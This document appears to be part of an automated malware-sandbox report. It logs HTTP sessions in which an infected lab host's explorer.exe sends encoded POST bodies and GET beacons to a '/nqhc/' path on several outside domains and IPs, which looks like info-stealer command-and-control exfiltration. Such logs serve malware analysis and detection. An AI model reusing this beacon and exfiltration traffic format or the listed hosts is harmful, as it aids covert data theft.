36 44 55 77 6c 58 47 72 49 4d 64 4b 47 38 64 70 39 4a 4c 5a 50 4c 37 5a 58 39 54 4d 65 50 30 78 53 78 64 6c 42 55 6a 68 4f 77 68 74 31 74 5a 64 76 44 5a 53 34 4c 7e 30 42 45 58 4f 7e 70 77 6e 35 30 36 73 35 78 46 44 54 6e 36 6d 45 46 73 6f 47 4e 4d 5f 61 49 49 57 6a 4e 68 61 71 56 63 45 44 6f 59 74 6b 50 4e 30 33 61 66 5f 38 57 4d 4e 6c 71 4e 41 63 67 75 75 71 62 4a 6d 39 56 72 39 4f 4f 31 74 30 72 69 63 4e 56 72 53 5a 39 79 53 59 4c 65 35 36 79 38 74 4f 4a 74 53 31 55 77 36 35 2d 31 32 6f 59 50 75 54 4c 65 49 47 4b 6f 67 62 34 76 4a 48 72 37 4a 72 45 72 30 71 4f 35 6b 39 7a 30 42 38 73 42 75 45 56 68 4d 30 55 4b 33 6e 76 4a 59 46 57 36 62 32 41 76 5a 78 7a 58 6c 6b 32 6b 6d 73 42 31 55 66 46 43 4b 69 63 66 56 39 4d 62 54 54 6c 49 63 57 54 34 59 6f 33 58 4a 77 37 44 47 45 6e 63 63 67 41 6c 72 47 4c 39 4f 4c 5f 58 42 6f 53 6d 51 68 39 63 37 72 69 7a 54 53 45 4b 57 44 4d 41 54 4b 50 7a 65 28 49 4d 47 4b 6d 45 4d 4a 63 51 50 50 63 64 4a 43 44 47 61 53 79 6c 5a 7a 43 52 56 4a 39 37 51 39 4a 43 69 34 38 50 4c 7e 32 6b 65 56 31 54 58 43 4b 7a 72 4a 32 4f 4f 77 4f 67 77 7e 53 34 56 61 57 7e 35 6a 4d 6a 37 46 63 57 72 64 5a 67 35 76 56 74 63 49 6c 36 77 4d 34 68 2d 76 75 51 56 6b 32 41 45 65 46 30 49 69 6b 45 31 44 48 73 55 75 32 57 6e 28 62 68 74 7a 6c 32 44 39 70 4f 53 62 66 58 6f 6d 44 66 64 30 57 57 4b 6e 55 35 48 39 72 7e 57 74 50 4a 51 43 52 6c 56 61 38 4f 6e 4c 34 67 4c 53 4b 34 70 58 78 31 71 4d 79 5a 46 73 47 32 66 43 47 4a 48 74 58 32 5f 38 43 56 48 64 43 6a 51 52 7a 64 6a 4c 41 55 36 6d 42 4d 39 50 77 36 49 62 34 46 65 7e 31 78 62 61 65 34 78 51 36 39 53 79 45 57 4a 45 69 51 6f 51 6f 4c 5f 36 45 6f 70 50 79 59 53 48 39 62 4d 62 65 44 39 45 38 30 78 53 44 61 6f 33 4a 41 64 45 70 63 4b 30 61 44 4f 71 33 30 6e 65 78 49 5f 4f 64 48 61 30 77 69 66 6d 37 72 7a 35 34 31 48 41 4e 4f 46 6c 78 7e 77 6f 43 64 69 36 4c 63 76 33 66 6e 54 6d 6d 5a 45 68 44 4b 79 58 74 31 6a 4a 42 28 6f 73 6c 39 42 33 31 37 36 70 42 4c 74 39 47 69 79 73 58 72 53 32 7a 6b 41 4d 6e 67 4e 38 35 32 67 55 30 78 6c 59 67 39 35 5a 57 31 31 49 6c 45 62 7e 42 7a 48 61 6c 4c 69 4b 53 4d 65 55 7a 75 69 69 65 5a Data Ascii: r4txB=Gf9emVtYwPKRMerYXPui~qgdHm82bJYRqiG270~D6tGIItMu2pj-8J3SBtscuWX-hPTk7NJVG-Eg1z6jZElzOAkquyXlidx2ExbblaoF16(twoisd11eJsQLl-XBQT42YbAKzh2uqq4CaERq7vvcOytfzW91KT7atbvtLTLDtByyu51Afh0SYaNVqxN6Ce5TpLeHLMxv74R4NWK4LcDbaW9Xqv(m9WQTos43~ohm4vLSRWNyE7G4RQnFkbOiYKOYp4ssr-cLWZchnaPRlLvGuKit7MkekdG3NVobfiW95BH23n4GEfqu4yYIUkep11lRWeU8cYc9Ps3zOg2iN5XKVq4qgYs-5dc9ptARxeirQC4Zl-RmhZd7wP1F4aWXr9HFiRZf9CL2E9f9KZ30f8xyUV6oK36p~1h_jsnPyMIysGFq9qLPYn6s9cPe56T5RkX0KioFb1T5vw~MHW9cltrzGZpIRSQwIPUcXdlL8di_RRfy5cRHPlHQJHpCPByhQQLtzHhMFFVAOMQvLW(lTo29snlp(9CmbanzooR1W0HpL5XBLjnaUbFWLWSHPB2ca_YYQEtG3kTBDbzbA0CRpUb-xKNok4N3TmH4tbZu2xxugca3kBzoL2wiATGivG~842LnVK6gQ3uD6QFoPR6DUwlXGrIMdKG8dp9JLZPL7ZX9TMeP0xSxdlBUjhOwht1tZdvDZS4L~0BEXO~pwn506s5xFDTn6mEFsoGNM_aIIWjNhaqVcEDoYtkPN03af_8WMNlqNAcguuqbJm9Vr9OO1t0ricNVrSZ9ySYLe56y8tOJtS1Uw65-12oYPuTLeIGKogb4vJHr7JrEr0qO5k9z0B8sBuEVhM0UK3nvJYFW6b2AvZxzXlk2kmsB1UfFCKicfV9MbTTlIcWT4Yo3XJw7DGEnccgAlrGL9OL_XBoSmQh9c7rizTSEKWDMATKPze(IMGKmEMJcQPPcdJCDGaSylZzCRVJ97Q9JCi48PL~2keV1TXCKzrJ2OOwOgw~S4VaW~5jMj7FcWrdZg5vVtcIl6wM4h-vuQVk2AEeF0IikE1DHsUu2Wn(bhtzl2D9pOSbfXomDfd0WWKnU5H9r~WtPJQCRlVa8OnL4gLSK4pXx1qMyZFsG2fCGJHtX2_8CVHdCjQRzdjLAU6mBM9Pw6Ib4Fe~1xbae4xQ69SyEWJEiQoQoL_6EopPyYSH9bMbeD9E80xSDao3JAdEpcK0aDOq30nexI_OdHa0wifm7rz541HANOFlx~woCdi6Lcv3fnTmmZEhDKyXt1jJB(osl9B3176pBLt9GiysXrS2zkAMngN852gU0xlYg95ZW11IlEb~BzHalLiKSMeUzuiieZDnyk-7OYZZhyYPIO3Xmx_olu7R4HPzrkRGTZDvMUz2ghUupjoQhSrcvsbU-Kn4S(_IkBJgHLbkX1pKIooKPKQYq~8zkd8MrAU(t5lPKmLp9ejZNnfADjIk4~Vi37gqGNnsp01ZDHl6gwXNw8h6NpwLONhUKT5kvuu2j(86oZYXRTkzR7e4fS-NXsG5uJuX6hPx3yJgw1PZQcaWLkZCQsmtApijN6Fs0c6APJJ12DkPvwbYdHRVS0cj-Wbht8_cjRHASsc9onJPSH7ewNk67swMFT5CWF4LOi-8jHW5UGCZ-TdbbodRe0ZMMpJlJAVC-AEJ2XE1z0EIYBfFSHkgvAyn4cwZVkAdKbqzJDfEdmTWGEXthrcpA3-TRESyUFaAsuZDaQqvCa0oaPrnS4sUihEoq(7qSeVdejILTGK(TqgXcuEZ3qeKsiKmAV3p5a2XfclmHBA(s5-hN23yQo537gGaojVqUvhN0AHg6Fea1Rl1fWL476BQvVG1pp-JMOBa-ka5X2ijb5Thd~rRPj5NgNmxAHaMEOzi0REOCdZ5p~9wsk5078yB_kvvPnmBBHkpn~1NlEiWIf9JTcEKz7qV_GbPIBHh80ozdo2ul1ZZ-zplluKcnPFy58qUK2tln2KZ7nXw3LI1NPOZ1I7JC7OLCaaRm1fKAMKw8s-3TIhRDds1SCFtQHEbjHPCrCCwB9H8NG7hsWsgL0R2P3sTmVBXjc_QIYA8NoRBeT4aADCHRjKJYpO1STVRH7uL-tJhDlqDiM6kUaVEdDg3p1j(uULY3W9mW1lnf8Vwln
Nov 21, 2022 19:25:34.241842031 CET	2099	OUT	Data Raw: 46 4a 43 65 35 4a 68 30 71 56 72 34 53 46 7a 33 66 7a 6b 4f 4f 4d 66 50 48 64 58 65 33 44 37 79 74 72 69 53 58 50 69 67 43 65 4d 78 41 69 58 62 37 70 39 51 54 57 44 58 61 42 66 50 73 79 50 61 4d 7e 6e 68 37 62 36 6b 48 33 45 34 53 6b 71 52 59 4c Data Ascii: FJCe5Jh0qVr4SFz3fzkOOMfPHdXe3D7ytriSXPigCeMxAiXb7p9QTWDXaBfPsyPaM~nh7b6kH3E4SkqRYLlPMIv20l9joLUzJSjc6JQXfcORpbb1F5CzRKV5TKHNz6oLkxlMT4GFKqLrC(LwSd01nnE7eDGA4e3mJLe(_2BQbCZwEJWEXAS6oskIWtTD0nUUr0clSDYiMOrU-Ij7zPab7jHDnvPzNeC6IT8rxaGIrG2m2XHEzhs
Nov 21, 2022 19:25:34.241880894 CET	2100	OUT	Data Raw: 7a 30 47 37 63 36 76 30 66 43 6a 43 42 48 74 49 7a 44 6d 38 6e 7e 42 69 36 4b 5f 74 32 64 65 6a 56 34 63 4c 59 44 5a 6c 44 36 54 4a 79 43 65 49 54 65 73 51 2d 5a 51 72 76 42 2d 71 56 64 71 37 70 76 65 42 62 55 67 78 4c 34 35 56 5a 45 4f 48 68 34 Data Ascii: z0G7c6v0fCjCBHtIzDm8n~Bi6K_t2dejV4cLYDZlD6TJyCeITesQ-ZQrvB-qVdq7pveBbUgxL45VZEOHh4vGrzAPTzbxXrGk66NExpdx54Za3vGbw1UmHOxkX66tcRISDkOHg1HltcEvRENY5HE(JkHquN3ilR03qAiq49RAptLH14-ms8ps6xgzw7SvKC-Tu~MnNNLRYeFwku5~vnwaPXnpF1Gk4p_7fp7R_gmVy3QzqlOOj7g
Nov 21, 2022 19:25:34.375457048 CET	2102	OUT	Data Raw: 61 35 45 65 66 47 56 6f 63 50 64 36 5f 79 54 74 55 66 75 46 69 42 64 48 4d 28 75 6c 34 59 66 32 68 73 48 41 63 57 57 77 54 63 39 51 52 66 49 4e 73 67 5f 62 31 39 79 37 33 4f 67 30 4d 52 55 50 41 46 57 65 77 4c 64 4d 71 45 54 65 36 61 76 6a 2d 65 Data Ascii: a5EefGVocPd6_yTtUfuFiBdHM(ul4Yf2hsHAcWWwTc9QRfINsg_b19y73Og0MRUPAFWewLdMqETe6avj-eHtOlBpTbC1R4swI~XXS(_ieoq(wkBJPwU7-7mPDqKh0HOpPcXbg5JWBYObs~0yz0bwJ6JUCtqWPbPAuXrWinKh2dXpxDdbVzXdYFu1AuI1nWXtMh9gHhl9s5u3R9CsbPSDCTV8FoCgDlxgjCE4AfysLImT9xNC8Ot
Nov 21, 2022 19:25:34.375483036 CET	2103	OUT	Data Raw: 34 55 38 47 37 6d 66 67 65 39 56 65 45 34 41 34 38 42 58 5a 70 7e 46 5a 6d 46 74 50 4b 6f 78 30 6a 36 61 44 76 32 37 33 42 39 56 6a 4b 62 42 33 75 4d 77 6f 6b 28 33 30 4d 31 47 39 44 44 59 55 7a 57 4f 4d 52 67 5a 4c 76 28 75 6d 38 63 7a 4a 6f 56 Data Ascii: 4U8G7mfge9VeE4A48BXZp~FZmFtPKox0j6aDv273B9VjKbB3uMwok(30M1G9DDYUzWOMRgZLv(um8czJoVdrIqu(ja2qqqpPjQRou~q620EbI7QT06Xq-bvGaeZE-91u79PwTVr4U0uW1l9tI0jAtFcLMzqs81A3IaJ1C0OS_l5lNq0gh1xCdzSk3xgYViDcuD4GvnsvdsOVoj9BuhtmFpmvrmuRNgoCXHcrnjx(44UXrzjV0ed
Nov 21, 2022 19:25:34.375557899 CET	2106	OUT	Data Raw: 5a 54 64 63 45 75 6c 6c 4d 6f 62 41 7a 6c 38 57 65 74 57 32 43 38 65 65 74 62 6d 31 71 48 72 4b 74 43 77 6d 7a 47 34 34 53 74 6d 34 52 4a 61 4f 69 70 63 62 41 44 59 4b 4c 34 43 47 70 67 4d 5a 47 30 76 69 34 50 6a 6b 39 57 55 34 37 6a 45 43 36 45 Data Ascii: ZTdcEullMobAzl8WetW2C8eetbm1qHrKtCwmzG44Stm4RJaOipcbADYKL4CGpgMZG0vi4Pjk9WU47jEC6EOUZfFlSkrmBDov0uX5aTOpVGs9fSCYzeFEFAAnzHqUzwaA-IH4ukTVXR4y2jw4A4Rob8qUC86GqN_w-x51884a1sHh_pDEdArseBv33gYNptBtNHz3oxfUhWKihMmn_(TiceHDJrcil7F7ZDgAP6sxKFFDlss1WsL
Nov 21, 2022 19:25:34.375591040 CET	2111	OUT	Data Raw: 46 4b 75 4c 2d 64 6d 71 56 4b 42 6e 31 63 50 59 55 72 38 28 41 49 52 6c 5f 43 65 6b 30 50 44 35 2d 41 42 51 56 43 41 63 2d 43 4d 61 61 52 76 33 6a 66 4b 4f 55 46 4f 30 75 4f 33 6b 2d 61 45 6e 52 61 38 56 6d 35 39 58 2d 33 76 4c 34 54 43 37 48 39 Data Ascii: FKuL-dmqVKBn1cPYUr8(AIRl_Cek0PD5-ABQVCAc-CMaaRv3jfKOUFO0uO3k-aEnRa8Vm59X-3vL4TC7H9N0nevaSDBjEOuQWJcuG(EJVLkXUXtvqRZtGuYabXmRjpMIrHY6-m53mvyIenG5Es7(1sfksoX2DW4aRdji79wWApEaMMcut7ZxnQ2LiT8XnWVEd5uCNiRs7WuFB0dai1S6lG23Fwu~a~Zpblha2mXhebFq6nZEaFo
Nov 21, 2022 19:25:34.375760078 CET	2113	OUT	Data Raw: 45 28 61 78 75 58 64 62 37 56 54 6c 33 65 51 6f 5a 65 4a 6e 56 51 62 61 63 28 75 74 70 48 77 50 5f 57 5a 77 78 37 32 75 7a 59 68 6e 63 7a 79 44 45 32 52 73 74 4d 58 69 52 67 32 70 56 4f 70 71 39 7a 45 48 41 68 53 72 78 67 79 6d 43 58 2d 47 31 75 Data Ascii: E(axuXdb7VTl3eQoZeJnVQbac(utpHwP_WZwx72uzYhnczyDE2RstMXiRg2pVOpq9zEHAhSrxgymCX-G1u11QYT0cH3sCKkswJ2zRxtay9z6X~8F3dAn_QoWtVs6rFRLsG12Q~m5x8Uw2ykLHRiDz3LoyUPeuDNRi6oiANiZeYgmqaTp9BcVD11vgruaiBhLDqbwuQCDPZa1NuJsOpzulxCg_9gCL3ZiVjTdjzgCZxu2RcKQJe8
Nov 21, 2022 19:25:34.375864029 CET	2120	OUT	Data Raw: 44 49 31 67 67 4b 6b 28 4a 71 30 79 75 46 69 78 56 7a 4c 70 4d 39 61 56 5a 44 67 57 67 49 6f 72 79 4b 2d 4d 43 79 43 72 6e 57 73 59 73 4b 6d 52 77 28 43 4c 61 49 6c 30 2d 58 49 43 52 65 76 6c 33 33 30 50 45 37 69 6b 4c 30 6c 6d 58 74 71 31 32 52 Data Ascii: DI1ggKk(Jq0yuFixVzLpM9aVZDgWgIoryK-MCyCrnWsYsKmRw(CLaIl0-XICRevl330PE7ikL0lmXtq12RX6GOOu7bxtXKp8z~7UsRTzOhr(WCt9EcVpxsQYSakYc4-d1F5GAdJcb1jyYsIRn81Yzv8wzzzs6eYIvtiQHmyXqDGe1Yd(0rxBLXYmNlF9SkygpGSct9KF0~sqyYczDxBHIWL(727IsGW8YZhf_~lOBTRTKOURvnl
Nov 21, 2022 19:25:34.376008987 CET	2126	OUT	Data Raw: 56 35 35 77 31 4a 5a 45 67 38 68 46 4a 49 70 76 75 43 34 47 73 31 41 28 78 71 31 64 6f 37 6c 69 64 76 31 61 31 32 61 76 5a 68 4e 61 42 74 4a 74 77 47 47 28 72 7e 2d 53 68 42 75 55 64 6c 56 7a 44 67 4f 46 54 74 37 28 59 78 53 79 52 37 4e 76 76 73 Data Ascii: V55w1JZEg8hFJIpvuC4Gs1A(xq1do7lidv1a12avZhNaBtJtwGG(r~-ShBuUdlVzDgOFTt7(YxSyR7NvvsfAkuoqcds47GU7ThkjzMkLivEqRhLmz8uKOuGMbCM5PcYhyEBmTKO0wOy5cE33Phw20SQu6Tp1z6DrlWSMk08A0DDnL9bc763bS~SM4nnc1bs1SfHcOCF~5bNl90v795Dx2jf~hRlRnTtyCNqkLKBguz3hPqqFlXy
Nov 21, 2022 19:25:34.376213074 CET	2126	IN	HTTP/1.1 413 Request Entity Too Large server: openresty/1.13.6.1 date: Mon, 21 Nov 2022 18:25:34 GMT content-type: text/html content-length: 205 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>413 Request Entity Too Large</title></head><body bgcolor="white"><center><h1>413 Request Entity Too Large</h1></center><hr><center>openresty/1.13.6.1</center></body></html>
Nov 21, 2022 19:25:34.509573936 CET	2129	OUT	Data Raw: 4b 42 57 4f 42 72 57 38 64 70 7a 75 37 78 53 35 53 48 6e 50 64 57 53 41 33 68 74 34 51 33 76 67 6b 62 49 56 77 72 35 4e 6c 69 71 7e 70 75 2d 28 35 52 72 5a 4b 4b 58 34 74 50 39 7a 58 69 2d 79 75 4c 75 74 79 4b 6b 71 43 49 78 44 66 4a 68 64 44 4f Data Ascii: KBWOBrW8dpzu7xS5SHnPdWSA3ht4Q3vgkbIVwr5Nliq~pu-(5RrZKKX4tP9zXi-yuLutyKkqCIxDfJhdDOkCm03tjMEe8Rs0dPnFvqgcnqA0ZRziEk5cZQQgz2MqtBZu79dfBllRTBZfTLc7u4dzw38mOnRIbxmMeB5hKVxAKiNTAqnOeEPSOEvf8o2f2WKb3BG5ppNQqXbeofS69mz8je0VO8LixGhYkWIaiXXhC7nq0etawWt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.11.20	49917	45.33.23.183	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:36.398196936 CET	2142	OUT	GET /nqhc/?b6=1b9p&r4txB=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA== HTTP/1.1 Host: www.labour-office.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:25:36.533879042 CET	2142	IN	HTTP/1.1 404 Not Found server: openresty/1.13.6.1 date: Mon, 21 Nov 2022 18:25:36 GMT content-type: text/html content-length: 175 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty/1.13.6.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.11.20	49919	217.160.0.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:41.590118885 CET	2150	OUT	POST /nqhc/ HTTP/1.1 Host: www.codemars.academy Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.codemars.academy User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.codemars.academy/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 4b 55 38 45 4c 4c 28 66 4d 62 64 6b 39 65 41 58 75 50 67 76 4d 51 77 6e 69 73 65 41 6c 53 4f 4a 55 37 48 77 30 67 78 46 34 4b 31 56 35 35 39 42 70 66 50 62 58 4c 65 34 4f 30 48 41 66 54 53 42 38 6b 76 52 58 79 62 49 33 34 33 4a 4a 56 58 73 51 48 62 4e 4b 6e 31 43 77 6e 74 59 35 42 64 32 4d 58 45 6f 53 31 31 52 57 73 71 50 76 35 53 5a 54 41 57 70 34 6e 43 5f 62 39 38 48 79 48 48 41 6f 56 58 62 32 71 5a 6c 44 74 50 52 4c 56 59 5f 42 59 75 6c 53 42 64 68 48 48 48 75 50 76 55 62 57 39 56 74 67 33 67 71 71 51 67 53 77 78 45 77 56 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=KU8ELL(fMbdk9eAXuPgvMQwniseAlSOJU7Hw0gxF4K1V559BpfPbXLe4O0HAfTSB8kvRXybI343JJVXsQHbNKn1CwntY5Bd2MXEoS11RWsqPv5SZTAWp4nC_b98HyHHAoVXb2qZlDtPRLVY_BYulSBdhHHHuPvUbW9Vtg3gqqQgSwxEwVg).
Nov 21, 2022 19:25:41.610172033 CET	2151	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Mon, 21 Nov 2022 18:25:41 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.11.20	49920	217.160.0.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:25:43.623673916 CET	2152	OUT	POST /nqhc/ HTTP/1.1 Host: www.codemars.academy Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.codemars.academy User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.codemars.academy/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 4b 55 38 45 4c 4c 28 66 4d 62 64 6b 39 2d 51 58 69 49 55 76 4c 77 77 67 7e 63 65 41 77 43 4f 4e 55 37 4c 77 30 6c 42 73 34 38 6c 56 35 5a 74 42 6f 64 6e 62 55 4c 65 34 41 55 48 50 63 6a 53 77 38 6b 6a 5a 58 79 6e 49 33 34 6a 4a 50 6e 50 73 59 58 62 4f 42 48 31 42 67 48 74 49 39 42 64 38 4d 58 49 46 53 30 68 52 57 64 47 50 75 37 71 5a 58 52 57 71 79 6e 44 36 64 39 38 45 34 6e 48 4b 6f 56 72 6c 32 6f 4a 66 43 63 72 52 49 31 34 5f 41 59 75 69 49 42 64 69 4f 6e 47 74 4a 64 42 4a 62 63 74 67 28 56 77 72 79 6a 39 48 34 77 35 49 56 30 5a 70 78 69 33 6b 6a 77 43 7a 43 6d 28 65 52 59 63 54 64 6f 67 35 6b 4e 4f 36 56 73 43 32 6d 58 49 51 51 74 57 53 6c 52 4b 73 68 4d 4f 4f 51 76 7e 46 4d 78 38 4c 4b 64 46 57 66 5f 53 78 31 31 59 4c 58 4d 63 77 42 74 47 5f 57 56 6c 58 28 63 47 76 36 43 66 6f 6a 51 35 6b 30 63 45 35 4e 45 46 58 6b 68 72 46 6d 52 39 39 79 4e 47 64 35 73 74 45 4c 65 39 63 41 5f 32 64 51 4b 58 32 34 34 52 49 72 66 69 47 66 4f 70 58 67 6a 70 6c 33 6f 61 55 56 65 31 74 76 58 43 37 79 58 30 6d 46 6b 38 4b 7a 77 31 62 53 72 5a 79 6f 49 79 4c 39 44 48 5a 58 62 4d 72 4d 50 59 52 4b 66 32 56 34 4e 48 4a 6b 69 41 70 73 48 6d 78 53 74 7e 47 7a 30 4c 64 4b 4c 4a 36 61 76 58 64 71 71 6f 72 31 30 7a 48 6d 79 72 77 6f 70 72 50 47 6b 77 39 58 4c 61 6c 74 4e 69 6e 32 79 64 47 34 61 38 78 54 45 68 53 52 56 79 46 77 5f 68 78 57 6b 4a 41 67 4c 65 55 30 78 73 63 39 35 71 72 61 44 69 4a 69 38 35 4c 7a 2d 67 66 34 35 62 68 6a 6a 57 58 30 6d 49 32 66 48 67 6c 77 72 57 6f 44 55 50 74 28 34 32 48 4c 5f 34 45 59 35 46 64 73 4f 32 74 6b 48 6b 69 63 37 63 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=KU8ELL(fMbdk9-QXiIUvLwwg~ceAwCONU7Lw0lBs48lV5ZtBodnbULe4AUHPcjSw8kjZXynI34jJPnPsYXbOBH1BgHtI9Bd8MXIFS0hRWdGPu7qZXRWqynD6d98E4nHKoVrl2oJfCcrRI14_AYuiIBdiOnGtJdBJbctg(Vwryj9H4w5IV0Zpxi3kjwCzCm(eRYcTdog5kNO6VsC2mXIQQtWSlRKshMOOQv~FMx8LKdFWf_Sx11YLXMcwBtG_WVlX(cGv6CfojQ5k0cE5NEFXkhrFmR99yNGd5stELe9cA_2dQKX244RIrfiGfOpXgjpl3oaUVe1tvXC7yX0mFk8Kzw1bSrZyoIyL9DHZXbMrMPYRKf2V4NHJkiApsHmxSt~Gz0LdKLJ6avXdqqor10zHmyrwoprPGkw9XLaltNin2ydG4a8xTEhSRVyFw_hxWkJAgLeU0xsc95qraDiJi85Lz-gf45bhjjWX0mI2fHglwrWoDUPt(42HL_4EY5FdsO2tkHkic7c.
Nov 21, 2022 19:25:43.642837048 CET	2153	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Mon, 21 Nov 2022 18:25:43 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 